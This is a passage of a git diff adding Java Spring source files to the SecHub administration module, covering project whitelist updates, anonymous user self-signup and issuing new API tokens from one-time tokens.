projectToUserData.setUserId(user.getName()); + projectToUserData.setProjectIds(Arrays.asList(projectId)); + + request.set(MessageDataKeys.PROJECT_TO_USER_DATA, projectToUserData); + eventBus.sendAsynchron(request); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateAdministrationRestController.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateAdministrationRestController.java new file mode 100644 index 0000000000..c4a7681b37 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateAdministrationRestController.java @@ -0,0 +1,70 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import java.net.URI; +import java.util.Collections; +import java.util.List; +import java.util.Optional; + +import javax.annotation.security.RolesAllowed; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.http.MediaType; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.WebDataBinder; +import org.springframework.web.bind.annotation.InitBinder; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RestController; + +import com.daimler.sechub.domain.administration.AdministrationAPIConstants; +import com.daimler.sechub.domain.administration.project.ProjectJsonInput.ProjectWhiteList; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.admin.project.UseCaseUpdateProjectWhitelist; + +/** + * The rest api for user administration done by a super admin. + * + * @author Albert Tregnaghi + * + */ +@RestController +@EnableAutoConfiguration +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +public class ProjectUpdateAdministrationRestController { + + @Autowired + ProjectRepository repository; + + @Autowired + private UpdateProjectInputValidator validator; + + @Autowired + private ProjectUpdateWhitelistService updateProjectWhitelistService; + + /* @formatter:off */ + @UseCaseUpdateProjectWhitelist(@Step(number=1,name="Rest call",description="White list will be updated",needsRestDoc=true)) + @RequestMapping(path = AdministrationAPIConstants.API_UPDATE_PROJECT_WHITELIST, method = RequestMethod.POST, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + public void updateProjectWhitelist(@Validated @RequestBody ProjectJsonInput input, @PathVariable(name="projectId") String projectId) { + /* @formatter:on */ + Optional projectWhiteList = input.getWhiteList(); + List whiteList; + if (projectWhiteList.isPresent()) { + ProjectWhiteList r = projectWhiteList.get(); + whiteList = r.getUris(); + }else { + whiteList = Collections.emptyList(); + } + updateProjectWhitelistService.updateProjectWhitelist(projectId,whiteList); + } + + + @InitBinder + protected void initBinder(WebDataBinder binder) { + binder.setValidator(validator); + } +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java new file mode 100644 index 0000000000..fe0ad32a7a --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java @@ -0,0 +1,87 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import java.net.URI; +import java.util.List; +import java.util.Optional; +import java.util.Set; + +import javax.annotation.security.RolesAllowed; +import javax.validation.constraints.NotNull; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.validation.annotation.Validated; + +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.UserContextService; +import com.daimler.sechub.sharedkernel.error.NotFoundException; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.IsSendingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.ProjectMessage; +import com.daimler.sechub.sharedkernel.usecases.admin.project.UseCaseUpdateProjectWhitelist; + +@Service +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +public class ProjectUpdateWhitelistService { + + private static final Logger LOG = LoggerFactory.getLogger(ProjectUpdateWhitelistService.class); + @Autowired + UserContextService userContext; + + @Autowired + ProjectRepository repository; + + @Autowired + DomainMessageService eventBus; + + @Validated + /* @formatter:off */ + @UseCaseUpdateProjectWhitelist( + @Step(number = 2, + name = "Update project", + description = "The service will update the <>.")) + /* @formatter:on */ + public void updateProjectWhitelist(@NotNull String projectId, @NotNull List whitelist) { + LOG.info("User {} triggers update of whitelist for project {}. Allowed URIs shall be {}", + userContext.getUserId(), projectId, whitelist); + + Optional found = repository.findById(projectId); + if (!found.isPresent()) { + throw new NotFoundException("Project '" + projectId + "' does not exist or you have now "); + } + /* + * TODO Albert Tregnaghi, 2018-09-06: currently we check only role SUPER_ADMIN. Because + * super admin is the only role having access. But when we got a project owner, + * the access to this project must be checked too! + */ + Project project = found.get(); + Set oldWhiteList = project.getWhiteList(); + oldWhiteList.clear(); + oldWhiteList.addAll(whitelist); + + repository.save(project); + + LOG.debug("Updated whitelist for project {}", project.getId()); + + sendProjectCreatedEvent(project.getId(),project.getWhiteList()); + + } + + @IsSendingAsyncMessage(MessageID.PROJECT_WHITELIST_UPDATED) + private void sendProjectCreatedEvent(String projectId, Set whitelist) { + DomainMessage request = new DomainMessage(MessageID.PROJECT_WHITELIST_UPDATED); + ProjectMessage message = new ProjectMessage(); + message.setProjectId(projectId); + message.setWhitelist(whitelist); + request.set(MessageDataKeys.PROJECT_WHITELIST_UPDATE_DATA,message); + + eventBus.sendAsynchron(request); + } +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/UpdateProjectInputValidator.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/UpdateProjectInputValidator.java new file mode 100644 index 0000000000..0d06604ddc --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/UpdateProjectInputValidator.java @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; +import org.springframework.validation.Errors; +import org.springframework.validation.Validator; + +/** + * Update variant, will not check name + * @author Albert Tregnaghi + * + */ +@Component +public class UpdateProjectInputValidator implements Validator{ + + @Autowired + ProjectJsonInputValidation validation; + + public UpdateProjectInputValidator() { + } + + @Override + public boolean supports(Class clazz) { + return validation.supports(clazz); + } + + @Override + public void validate(Object target, Errors errors) { + validation.checkApiVersion(errors,validation.asInput(target)); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/AnonymousSignupCreateService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/AnonymousSignupCreateService.java new file mode 100644 index 0000000000..e62ef0a864 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/AnonymousSignupCreateService.java @@ -0,0 +1,120 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.signup; + +import java.util.Optional; + +import javax.validation.Valid; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.validation.annotation.Validated; + +import com.daimler.sechub.domain.administration.user.User; +import com.daimler.sechub.domain.administration.user.UserRepository; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.error.NotAcceptableException; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.IsSendingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; +import com.daimler.sechub.sharedkernel.usecases.user.UseCaseUserSignup; + +@Service +public class AnonymousSignupCreateService { + + private static final Logger LOG = LoggerFactory.getLogger(AnonymousSignupCreateService.class); + + @Autowired + SignupRepository userSelfRegistrationRepository; + + @Autowired + UserRepository userRepository; + + @Autowired + DomainMessageService eventBusService; + + /** + * Tries to register a new user. If signup for user or a user with same name or + * email already exists, nothing happens. No error or something. Only when + * registration data is invalid an error will happen. Frontends shall always + * give only a hint like "You will receive an email with registration details + * when your request is accepted" + * + * @param userSelfRegistrationInput + */ + @Validated + @UseCaseUserSignup(@Step(number = 2, name = "Persistence", description = "Valid self registration input will be persisted to database.")) + public void register(@Valid SignupJsonInput userSelfRegistrationInput) { + String userId = userSelfRegistrationInput.getUserId(); + String emailAdress = userSelfRegistrationInput.getEmailAdress(); + LOG.debug("user tries to register himself:{},mail:{}", userId, emailAdress); + + assertNotAlreadySignedIn(userId, emailAdress); + assertUsernameNotUsedAlready(userId, emailAdress); + assertEmailAdressNotUsedAlready(userId, emailAdress); + + Signup entity = new Signup(); + + entity.setEmailAdress(emailAdress); + entity.setUserId(userId); + userSelfRegistrationRepository.save(entity); + LOG.debug("Added registration entry for user:{},mail:{}", entity.getUserId(), entity.getEmailAdress()); + + /* trigger event*/ + informAboutSignupRequest(entity); + } + + @IsSendingAsyncMessage(MessageID.USER_SIGNUP_REQUESTED) + private void informAboutSignupRequest(Signup signup) { + DomainMessage infoRequest = new DomainMessage(MessageID.USER_SIGNUP_REQUESTED); + + UserMessage userMessage = new UserMessage(); + userMessage.setEmailAdress(signup.getEmailAdress()); + userMessage.setUserId(signup.getUserId()); + + infoRequest.set(MessageDataKeys.USER_SIGNUP_DATA, userMessage); + + eventBusService.sendAsynchron(infoRequest); + } + + private void assertEmailAdressNotUsedAlready(String userId, String emailAdress) { + Optional foundUserByMail = userRepository.findByEmailAdress(emailAdress); + + if (foundUserByMail.isPresent()) { + LOG.warn( + "Self registration coming in for emailadress:{} and user:{} but an existing user does already have this email adress. So not accepted", + emailAdress, userId); + handleRegistrationNotPossible(); + } + } + + private void assertUsernameNotUsedAlready(String userId, String emailAdress) { + Optional foundUser = userRepository.findById(userId); + + if (foundUser.isPresent()) { + LOG.warn( + "Self registration coming in for emailadress:{} and user:{} but existing user found by name. So not accepted", + emailAdress, userId); + handleRegistrationNotPossible(); + } + } + + private void assertNotAlreadySignedIn(String userId, String emailAdress) { + Optional found = userSelfRegistrationRepository.findById(userId); + if (found.isPresent()) { + LOG.warn( + "Self registration coming in for emailadress:{} and user:{} but signup already exists. So not accepted", + emailAdress, userId); + handleRegistrationNotPossible(); + } + } + + private void handleRegistrationNotPossible() { + throw new NotAcceptableException("registration not possible"); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/AnonymousSignupRestController.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/AnonymousSignupRestController.java new file mode 100644 index 0000000000..7025b7708a --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/AnonymousSignupRestController.java @@ -0,0 +1,56 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.signup; + +import javax.validation.Valid; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.http.MediaType; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.WebDataBinder; +import org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.InitBinder; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RestController; + +import com.daimler.sechub.domain.administration.AdministrationAPIConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.user.UseCaseUserSignup; + + + +/** + * Self registration rest controller - anonymous access possible + * + * @author Albert Tregnaghi + * + */ +@RestController +@EnableAutoConfiguration +public class AnonymousSignupRestController { + + @Autowired + private AnonymousSignupCreateService signupService; + + + @Autowired + private SignupJsonInputValidator validator; + + /* @formatter:off */ + @CrossOrigin /* to allow call from getsechub.detss and maybe other sites using javascript*/ + @UseCaseUserSignup(@Step(number=1, name="Rest API call",description="Rest api called to register user. Normally done by user itself",needsRestDoc=true)) + @Validated + @RequestMapping(path = AdministrationAPIConstants.API_SIGNUP, method = RequestMethod.POST, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + public void registerUser(@RequestBody @Valid SignupJsonInput signupInput) { + /* @formatter:on */ + signupService.register(signupInput); + } + + @InitBinder + protected void initBinder(WebDataBinder binder) { + binder.setValidator(validator); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/Signup.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/Signup.java new file mode 100644 index 0000000000..a543ac14a2 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/Signup.java @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.signup; + +import java.util.Objects; + +import javax.persistence.Column; +import javax.persistence.Entity; +import javax.persistence.Id; +import javax.persistence.Table; +import javax.persistence.Version; + +@Entity +@Table(name = Signup.TABLE_NAME) +public class Signup { + + /* +-----------------------------------------------------------------------+ */ + /* +............................ SQL ......................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String TABLE_NAME = "ADM_USER_SELFREGISTRATION"; + + /** + * Email adress is also the primary key. So no duplicates + */ + public static final String COLUMN_EMAIL_ADRESS = "EMAIL_ADRESS"; + public static final String COLUMN_USER_ID = "USER_ID"; + + /* +-----------------------------------------------------------------------+ */ + /* +............................ JPQL .....................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String CLASS_NAME = Signup.class.getSimpleName(); + + @Id + @Column(name = COLUMN_USER_ID) + String userId; + + @Column(name = COLUMN_EMAIL_ADRESS, nullable = false) + String emailAdress; + + @Version + @Column(name = "VERSION") + Integer version; + + public void setEmailAdress(String emailAdress) { + this.emailAdress = emailAdress; + } + + public void setUserId(String userId) { + this.userId = userId; + } + + public String getEmailAdress() { + return emailAdress; + } + + public String getUserId() { + return userId; + } + + @Override + public int hashCode() { + return Objects.hash(userId); + } + + @Override + public boolean equals(Object obj) { + if (this == obj) { + return true; + } + if (obj == null) { + return false; + } + if (getClass() != obj.getClass()) { + return false; + } + Signup other = (Signup) obj; + return Objects.equals(userId, other.userId); + } + +} \ No newline at end of file diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupAdministrationRestController.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupAdministrationRestController.java new file mode 100644 index 0000000000..a1c330c964 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupAdministrationRestController.java @@ -0,0 +1,56 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.signup; + +import java.util.List; + +import javax.annotation.security.RolesAllowed; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RestController; + +import com.daimler.sechub.domain.administration.AdministrationAPIConstants; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.admin.signup.UseCaseAdministratorDeletesSignup; +import com.daimler.sechub.sharedkernel.usecases.admin.signup.UseCaseAdministratorListsOpenUserSignups; + + + +/** + * Self registration rest controller - restricted access to super admins + * + * @author Albert Tregnaghi + * + */ +@RestController +@EnableAutoConfiguration +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +public class SignupAdministrationRestController { + @Autowired + private SignupRepository repository; + + @Autowired + private SignupDeleteService deleteService; + + /* @formatter:off */ + @UseCaseAdministratorDeletesSignup(@Step(number=1, name="Rest API call",description="Rest api called to remove user signup",needsRestDoc=true)) + @RequestMapping(path = AdministrationAPIConstants.API_DELETE_SIGNUP, method = RequestMethod.DELETE, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + public void deleteSignup(@PathVariable(name="userId") String userId) { + deleteService.delete(userId); + /* @formatter:on */ + } + + /* @formatter:off */ + @UseCaseAdministratorListsOpenUserSignups(@Step(number=1,name="Rest call",description="All self registrations are returned as json",needsRestDoc=true)) + @RequestMapping(path = AdministrationAPIConstants.API_LIST_USER_SIGNUPS, method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + public List listUserSignups() { + /* @formatter:on */ + return repository.findAll(); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupDeleteService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupDeleteService.java new file mode 100644 index 0000000000..e2f9687335 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupDeleteService.java @@ -0,0 +1,36 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.signup; + +import javax.annotation.security.RolesAllowed; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.UserContextService; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorDeletesUser; + +@Service +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +public class SignupDeleteService { + + private static final Logger LOG = LoggerFactory.getLogger(SignupDeleteService.class); + + @Autowired + SignupRepository userSelfRegistrationRepository; + + @Autowired + UserContextService userContextService; + + @UseCaseAdministratorDeletesUser(@Step(number=2, name="Persistence", description="Existing signup will be deleted")) + public void delete(String userId) { + Signup foundByName = userSelfRegistrationRepository.findOrFailSignup(userId); + userSelfRegistrationRepository.delete(foundByName); + + LOG.info("Existing user signup for {} deleted by {}",userId,userContextService.getUserId()); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupJsonInput.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupJsonInput.java new file mode 100644 index 0000000000..6553503bf3 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupJsonInput.java @@ -0,0 +1,61 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.signup; + +import com.daimler.sechub.sharedkernel.MustBeKeptStable; +import com.daimler.sechub.sharedkernel.util.JSONable; +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; + +@JsonIgnoreProperties(ignoreUnknown = true) // we do ignore to avoid problems from wrong configured values! +@MustBeKeptStable("This configuration is used by frontends to self register a user It has to be backward compatible. To afford this we will NOT remove older parts since final API releases") +public class SignupJsonInput implements JSONable { + + public static final String PROPERTY_API_VERSION = "apiVersion"; + public static final String PROPERTY_USER_ID = "userId"; + public static final String PROPERTY_EMAIL_ADRESS = "emailAdress"; + /** + * Just an reusable instance for JSON from calls - so we do not need to create + * always an empty object + */ + public static final SignupJsonInput OBJECT = new SignupJsonInput(); + + private String apiVersion; + private String userId; + private String emailAdress; + + + @Override + public Class getJSONTargetClass() { + return SignupJsonInput.class; + } + + + public String getApiVersion() { + return apiVersion; + } + + + public void setApiVersion(String apiVersion) { + this.apiVersion = apiVersion; + } + + + public String getUserId() { + return userId; + } + + + public void setUserId(String userId) { + this.userId = userId; + } + + + public String getEmailAdress() { + return emailAdress; + } + + + public void setEmailAdress(String emailAdress) { + this.emailAdress = emailAdress; + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupJsonInputValidator.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupJsonInputValidator.java new file mode 100644 index 0000000000..221b533aab --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupJsonInputValidator.java @@ -0,0 +1,66 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.signup; + +import static com.daimler.sechub.domain.administration.signup.SignupJsonInput.*; + +import org.apache.commons.validator.routines.EmailValidator; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; +import org.springframework.validation.Errors; +import org.springframework.validation.ValidationUtils; +import org.springframework.validation.Validator; + +import com.daimler.sechub.sharedkernel.validation.ApiVersionValidation; +import com.daimler.sechub.sharedkernel.validation.UserIdValidation; +import com.daimler.sechub.sharedkernel.validation.ValidationResult; + +@Component +public class SignupJsonInputValidator implements Validator { + private static final Logger LOG = LoggerFactory.getLogger(SignupJsonInputValidator.class); + + @Autowired + UserIdValidation useridValidation; + + EmailValidator emailValidator = EmailValidator.getInstance(); + + @Autowired + ApiVersionValidation apiVersionValidation; + + @Override + public boolean supports(Class clazz) { + return SignupJsonInput.class.isAssignableFrom(clazz); + } + + @Override + public void validate(Object target, Errors errors) { + SignupJsonInput selfRegistration = (SignupJsonInput) target; + LOG.debug("Start validation for self registration of: {}", selfRegistration.getUserId()); + + ValidationUtils.rejectIfEmptyOrWhitespace(errors, PROPERTY_API_VERSION, "field.required"); + + ValidationResult apiVersionValidationResult = apiVersionValidation.validate(selfRegistration.getApiVersion()); + if (!apiVersionValidationResult.isValid()) { + errors.rejectValue(PROPERTY_API_VERSION, "api.error.unsupported.version", + apiVersionValidationResult.getErrorDescription()); + return; + } + ValidationResult userIdValidationResult = useridValidation.validate(selfRegistration.getUserId()); + if (!userIdValidationResult.isValid()) { + errors.rejectValue(PROPERTY_USER_ID, "api.error.registration.userid.invalid", + userIdValidationResult.getErrorDescription()); + return; + } + + if (!emailValidator.isValid(selfRegistration.getEmailAdress())) { + errors.rejectValue(PROPERTY_EMAIL_ADRESS, "api.error.email.invalid", + "Invalid email adress"); + return; + } + LOG.debug("Selfregistration of {} was accepted", selfRegistration.getUserId()); + + } + + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupRepository.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupRepository.java new file mode 100644 index 0000000000..ed6ab4ef64 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupRepository.java @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.signup; + +import java.util.Optional; + +import org.springframework.data.jpa.repository.JpaRepository; + +import com.daimler.sechub.sharedkernel.error.NotFoundException; + +public interface SignupRepository extends JpaRepository{ + + public default Signup findOrFailSignup(String userId) { + Optional foundSignup = findById(userId); + if (! foundSignup.isPresent()) { + throw new NotFoundException("Signup '" + userId + "' not found!"); + } + return foundSignup.get(); + } +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/AnonymousUserGetAPITokenByOneTimeTokenService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/AnonymousUserGetAPITokenByOneTimeTokenService.java new file mode 100644 index 0000000000..c1939440ef --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/AnonymousUserGetAPITokenByOneTimeTokenService.java @@ -0,0 +1,95 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.security.crypto.password.PasswordEncoder; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.administration.APITokenGenerator; +import com.daimler.sechub.sharedkernel.MustBeDocumented; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.IsSendingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; +import com.daimler.sechub.sharedkernel.usecases.user.UseCaseUserClicksLinkToGetNewAPIToken; + +@Service +public class AnonymousUserGetAPITokenByOneTimeTokenService { + + private static final Logger LOG = LoggerFactory.getLogger(AnonymousUserGetAPITokenByOneTimeTokenService.class); + + private static final long DEFAULT_OUTDATED_TIME_MILLIS = 86400000;// 1d * 24h * 60m * 60s * 1000ms = one day = 86400000 + + @Value("${sechub.user.onetimetoken.outdated.millis:86400000}") + @MustBeDocumented(value="One time token time when outdating") + long oneTimeOutDatedMillis = DEFAULT_OUTDATED_TIME_MILLIS; + + @Autowired + DomainMessageService eventBusService; + + @Autowired + UserRepository sechubUserRepository; + + @Autowired + APITokenGenerator apiTokenGenerator; + + @Autowired + private PasswordEncoder passwordEncoder; + + @UseCaseUserClicksLinkToGetNewAPIToken(@Step(number=2,next={3,4}, name="Validation and update",description="When its a valid one time token a new api token is generated and persisted hashed to user. The token itself is returned. When not valid an emtpy string is the result ...")) + @IsSendingAsyncMessage(MessageID.USER_API_TOKEN_CHANGED) + public String createNewAPITokenForUserByOneTimeToken(String oneTimeToken) { + if (oneTimeToken==null) { + return ""; + } + if (oneTimeToken.isEmpty()) { + return ""; + } + Optional found = sechubUserRepository.findByOneTimeToken(oneTimeToken); + if (! found.isPresent()) { + LOG.warn( + "Did not found a user having one time token :{}. Maybe an attack, so will just return empty string...", + oneTimeToken); + return ""; + } + + User user = found.get(); + /* check not outdated onetime token*/ + if (user.isOneTimeTokenOutDated(oneTimeOutDatedMillis)) { + LOG.warn( + "Did found a user having one time token :{}, but token is outdated! Maybe an attack, so will just return empty string... and keep the old entry as is", + oneTimeToken); + return ""; + } + + user.oneTimeToken=null; + user.oneTimeTokenDate=null; + String rawToken = apiTokenGenerator.generateNewAPIToken(); + user.hashedApiToken=passwordEncoder.encode(rawToken); + + sechubUserRepository.save(user); + + + DomainMessage request = new DomainMessage(MessageID.USER_API_TOKEN_CHANGED); + UserMessage message = new UserMessage(); + message.setEmailAdress(user.getEmailAdress()); + message.setUserId(user.getName()); + message.setHashedApiToken(user.getHashedApiToken()); + + request.set(MessageDataKeys.USER_API_TOKEN_DATA, message); + eventBusService.sendAsynchron(request); + + /* we return the raw token to user - but do NOT save it but hashed variant */ + return rawToken; + } + + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/AnonymousUserGetApiTokenByOneTimeTokenRestController.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/AnonymousUserGetApiTokenByOneTimeTokenRestController.java new file mode 100644 index 0000000000..7c318bbb0b --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/AnonymousUserGetApiTokenByOneTimeTokenRestController.java @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +import com.daimler.sechub.domain.administration.AdministrationAPIConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.user.UseCaseUserClicksLinkToGetNewAPIToken; + +/** + * The rest api for users to get new api token by a wellknwon one time token + * + * @author Albert Tregnaghi + * + */ +@RestController +@EnableAutoConfiguration +public class AnonymousUserGetApiTokenByOneTimeTokenRestController { + + @Autowired + AnonymousUserGetAPITokenByOneTimeTokenService createUserAPITokenByOneTimeTokenService; + + /* @formatter:off */ + @UseCaseUserClicksLinkToGetNewAPIToken(@Step(number=1,name="Rest call",description="User opens url by browser",needsRestDoc=true)) + @GetMapping(path = AdministrationAPIConstants.API_FETCH_NEW_API_TOKEN_BY_ONE_WAY_TOKEN+"/{oneTimeToken}", + produces= {MediaType.TEXT_PLAIN_VALUE}) + @ResponseBody + public String getNewAPITokenByOneTimeToken(@PathVariable String oneTimeToken) { + /* @formatter:on */ + return createUserAPITokenByOneTimeTokenService.createNewAPITokenForUserByOneTimeToken(oneTimeToken); + } +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/AnonymousUserRequestNewApiTokenRestController.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/AnonymousUserRequestNewApiTokenRestController.java new file mode 100644 index 0000000000..4b97945fc4 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/AnonymousUserRequestNewApiTokenRestController.java @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RestController; + +import com.daimler.sechub.domain.administration.AdministrationAPIConstants; +import com.daimler.sechub.sharedkernel.Step; 